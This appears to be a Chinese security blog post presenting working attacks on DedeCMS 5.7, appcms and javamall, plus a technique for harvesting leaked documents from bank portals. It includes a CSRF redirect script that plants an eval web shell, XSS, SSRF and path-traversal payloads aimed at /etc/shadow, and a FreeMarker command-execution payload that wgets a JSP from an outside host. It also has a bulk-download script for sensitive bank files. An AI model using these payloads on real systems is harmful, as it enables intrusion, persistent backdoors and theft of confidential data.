灰盒测试之织梦dedecms 5.7 官网最新版 Getshell

很久之前一直用dedecms做二次开发、直接做模版就好了,偶尔要写原生的php代码与dede交互,简单的了解了下里面的model,并未深入,dedecms漏洞那么多、、、能不能也找出一个漏洞呢。 下载了官网最新的程序研究了下。

在前台有个提交友情链接的地方,链接是:/plus/flink_add.php,估计以前可能这里存在xss的吧。反正现在是修复了,不过发现传入的链接,在后台可以直接打开,这样就可以结合csrf进一步利用了。

dede-%e6%bc%8f%e6%b4%9e

然后这里网址的,默认有http://,也猜到了是提醒这是个http链接,后端没有判断,登陆后台看了下,果然是直接插入进去的:

<tr align="center" bgcolor="#FFFFFF" height="26" onMouseMove="javascript:this.bgColor='#FCFDEE';"onMouseOut="javascript:this.bgColor='#FFFFFF';">
          <td><input type='checkbox' name='aids' value='12' class='np'></td>
          <td><a href="http://&lt;sc<x>ript&gt;alert(1)&lt;/sc<x>ript&gt;" target='_blank'>&amp;lt;sc&lt;x&gt;ript&amp;gt;alert(1)&amp;lt;/scr</a></td>
          <td><a href="http://&lt;sc<x>ript&gt;alert(1)&lt;/sc<x>ript&gt;" target='_blank'><img src='&lt;sc<x>ript&gt;alert(1)&lt;/sc<x>ript&gt;' width='88' height='31' border='0' /></a></td>
          <td>&lt;sc<x>ript&gt;alert(1)&lt;/sc<x>ript&gt;</td>
          <td>2016-11-04</td>
          <td>未审核</td>
          <td>50</td>
          <td><a href='friendlink_edit.php?id=12&dopost=getedit'>[更改]</a><a href='friendlink_edit.php?id=12&dopost=delete'>[删除]</a></td>
        </tr>

这样证明了可以做诱导链接了,然后下一步要找csrf可利用的功能,在后台发现一个标签编辑功能里的,dedecms好多地方都是用requests获取的值,不区分get、post,原来是post的,如果post在这肯定构造不成功,get的话,就可以借助csrf一起getshell了。

csrf 诱导 exp链接:./tpl.php?action=savetagfile&actiondo=addnewtag&content=<?php @eval($_POST[‘c’]);?>&filename=hcaker.lib.php? #在当前路径执行这个get请求,写入一句话。

dede-csrf
然后就提交了,提交后,后台管理员看到的是这个样子的:

dede-csrf-exp

这里就看怎么诱导管理员点击了,一般人看不懂代码,如果点击了,会在 /include/taglib/ 目录下生成一句话 hacker.lib.php,有句话说好奇害死猫,确实是,天上那有掉馅饼的事,别贪便宜,不然容易出事。

就在最后要成功getshell的时候,发生了意外,发现网站名称的href字典限制了长度,把传入的./tpl.php?action=savetagfile&actiondo=addnewtag&content=<?php @eval($_POST[‘c’]);?>&filename=hcaker.lib.php截断为./tpl.php?action=savetagfile&actiondo=addnewtag&content=<?ph,并没有过滤,看来是限制了字符个数、还是不放弃,产生了另一种好玩的想法,感觉要比这个好玩。

一般后台审核友情链接的人都会看下网站权重,然后决定是否通过审核,这一看就会触发漏洞了。通过分析,需要填一个真实的url,而这个url要获取到referer,然后拼接url重定向,这样就可以实现getshell了,而且还可以在后端做个邮件提醒。方便知道那个站已经getshell了。

然后开始写代码了,这里费了不少时间,主要是一个问题,把代码解析为字符串,用php试过转义、字符串转化等都不成功,最后用序列化函数成功了,但是不完整,程序员的做法应该是序列化和反序列化吧,然后我使用单个字符拼接,解决了问题,其实还可以用ascii码去搞定、原来那些写各种一句话的真不容易,要对语言的任何地方都要了解,不然遇到很多未知的问题。

$exp?= ‘tpl.php?action=savetagfile&actiondo=addnewtag&content=’.@eval($_POST[‘c’]).’&filename=hcaker.lib.php’;
//如果您有更好的办法,欢迎提供给我。
然后php做CSRF中转的代码如下:
//print_r($_SERVER);
$referer = $_SERVER['HTTP_REFERER'];
$dede_login = str_replace("friendlink_main.php","",$referer);//去掉friendlink_main.php,取得dede后台的路径
//拼接 exp
$muma = '<'.'?'.'@'.'e'.'v'.'a'.'l'.'('.'$'.'_'.'P'.'O'.'S'.'T'.'['.'\''.'c'.'\''.']'.')';
$exp = 'tpl.php?action=savetagfile&actiondo=addnewtag&content='. $muma .'&filename=hacker.lib.php';
$url = $dede_login.$exp;
//echo $url;
header("location: ".$url);
// send mail coder
exit();

然后就重新开始咯,在友情链接里面添加exp友情链接:http://******.com/exp.php

对方只要访问了,就自动生成 include/taglib/hacker.lib.php噢、上面没有写e-mail通知代码。

getshell-dedecms
getshell-dedecms

之后发现有的cms会限制只允许输入域名,这也没关系,申请个域名,默认就是/index.php,一样可以getshell,还有的为了防止csrf,在请求中加了token令牌验证,这种是有可能被绕过的,绕过几率为80%,下次有机会实现js无刷新获取token令牌getshell。。。

代码审计之 appcms通用漏洞

1.回调接口反射XSS
/upload/callback.php?params=111%27);%3C/script%3E%3Cscript%3Ealert(document.cookie);testsub(%27
2.任意app上传
/upload/upload_form.php?params=test&v=1111 #访问后需要构造提交表单或者发requests
添加 <input name=”Submit” value=”提交” type=”submit”>
3.模版xss,直接访问到模版文件,也可以触发xss
4.验证码缺陷
appcms中使用的验证码都是前端刷新、可以拦截前端验证码请求,一直使用旧的验证码,比如评论功能,可以遍历会话刷评论。
5.固定数据库备份文件名
只要备份了数据库,都是固定的文件名,直接下载数据库备份了就,比如/backup/appcms_admin_list_0.sql
6.sql执行调试接口泄漏
/admin/admin_user.php?ajax=json 访问众多后台文件 axaj=json 都会返回当前执行的sql语句。
7.轻微SSRF
先把 http://0535code.com/wp-content/themes/d8/img/logo.png 做base64编码,然后放入url中;
/pic.php?url=aHR0cDovLzA1MzVjb2RlLmNvbS93cC1jb250ZW50L3RoZW1lcy9kOC9pbWcvbG9nby5wbmc=&type=png
绕过方式 http://0535code.com/?1.png 进行编码,也可能存在HTTP响应拆分噢、
/pic.php?url=aHR0cDovL3YucXEuY29tL3gvc2VhcmNoLz9xPTEucG5n&type=png%0A%0Dreferer:http://0535code.com
######################################################################
getshell,通过上面几种途径都可以噢、只要可以登陆后台,后台有编辑模版功能,就可以getshell了、、、

黑盒测试之 javamall通用漏洞

1.任意文件下载
/docs/tags/try.html?filename=../../../WEB-INF/web.xml
/docs/tags/try.html?filename=../../../../../../../../../../../../etc/passwd
/docs/tags/try.html?filename=../../../../../../../../../../../../etc/shadow

2.自带后门接口
/api/base/tagTestCreate.do?filename=1.txt&content=111 //写文件接口 /docs/tags/runtime/1.txt
#默认写入 /docs/tags/runtime/1.txt 目录

3.红包文件下载
/excel/bonus.xls

4.命令执行漏洞
<#assign ex=”freemarker.template.utility.Execute”?new()>${ex(“pwd”)}
<#assign ex=”freemarker.template.utility.Execute”?new()> ${ex(“wget http://0535code.com/demo.jsp -O /mnt/domains/demo.jsp”)}

5.上传漏洞
POST /eop/ckuploader.do?CKEditor=remark&CKEditorFuncNum=2&langCode=zh-cn
POST /eop/upload!upload.do?ajax=1

6.搜索功能时间延迟SQL注入
/search-cat-102-tag-1* #参考 http://0535code.com/article/20161111_1238.shtml

######################################################################

仔细分析了下getshell的流程:
1.任意文件上传或命令执行,可以上传webshell,但是要知道jsp可执行目录,如果不知道的话要修改web.xml文件,要对java的环境熟悉一些,拿到webshell后,再提权;
2.可以通过命令执行直接反弹shell,我是用python反弹shell了。

一个银行业通杀的敏感信息泄漏通用漏洞

无意间发现银行的门户站点,都可能存在敏感文件泄漏,甚至有些敏感信息存在xwork,不过存在防火墙没有进一步验证,绕过防火墙。这个通用漏洞主要是泄漏了内部上传的一些.doc .pdf .xml .ppt .rar等文件信息,也有敏感的url等。从银行排行榜依次测试,20多个银行都适用,继续找的话都是类似的了。
首先用wapiti扫描一下,wapiti http://bank.com –v 2 ,发现wapiti的爬虫模块特别强,能挖掘出很多ajax的url,有的用unican-gui扫描,有些wapiti发现不了,uniscan可以发现了,总体来说wapiti的爬虫模块要强势一些。uniscan-gui是图形化的,直接输入上网址就好了,检查目录和文件,或者全选收集其他信息也可以,有些xss会直接被扫出来。
如果用unscan-gui扫描出的话,会出现很多敏感文档url,这些url就有可能是敏感文件,要一一下载检查后,才能确定是不是敏感文件,手工下载太慢了,用python脚本写了个自动下载的功能,如下:

import requests,re

headers={       "User-Agent":"Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.152 Safari/537.36",
                "Accept":"*/*",
                "Accept-Language":"zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3",
                "Accept-Encoding":"gzip, deflate",
                "Content-Type":"application/x-www-form-urlencoded; charset=UTF-8",
                "Connection":"keep-alive",
                "X-Requested-With":"XMLHttpRequest",
        }

#断点下载文件函数
def downfile(url,headers):
    url = url.replace('\t','').replace('\n','').replace(' ','')
    filename = url.split('/')[-1].replace('\t','').replace('\n','').replace(' ','') #根据网址取文件名,并去掉空格和换行
    #print filename
    headers['referer'] = re.findall(r"^http://.*?/{1}",url,re.I)[0]  # referer
    data = requests.get(url = url,stream=True,verify=False,headers = headers)
    with open(filename, 'wb') as f:  
        for file in data.iter_content(chunk_size=1024):  
            if file: # 文件流形式写入
                f.write(file)  
                f.flush()
        f.close()
    print u"文件",filename,u"文件下载完成!"

#downfile("http://www.*bank.com.cn/upload/Attach/mrbj/2702888780.pdf",headers)

for line in open("1.txt"):
    downfile(line,headers)
else:
    print "exit!"

自动下载下来后,检查那些不是允许所有用户下载的文件好了。
如果用wapiti扫描的话,爬虫结果中会有所有的url,这种情况下要清理下数据,才能做下载,于是也写了个清理数据的小脚本辅助查漏洞,如下:

import requests,re
file_object = open('1.txt', 'w')
#读取文件的每一行
for line in open("bak.txt"):
    if not ".html" in line:
        print line
        file_object.write(line)
else:
    print "exit!"
    file_object.close()

要根据实际情况修改脚本文件。
之后又晓得一个开源的工具 metagoofil,通过谷歌去收集文件,这款工具的原理和wapiti爬虫是不一样的哦、